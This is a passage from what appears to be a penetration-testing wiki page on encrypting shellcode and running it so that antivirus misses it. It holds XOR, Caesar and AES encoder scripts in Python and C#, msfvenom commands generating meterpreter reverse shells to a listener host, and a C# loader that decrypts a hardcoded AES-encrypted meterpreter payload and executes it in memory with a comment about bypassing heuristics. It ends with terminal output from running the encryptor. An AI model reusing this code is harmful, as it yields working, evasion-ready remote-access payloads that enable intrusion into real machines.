        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
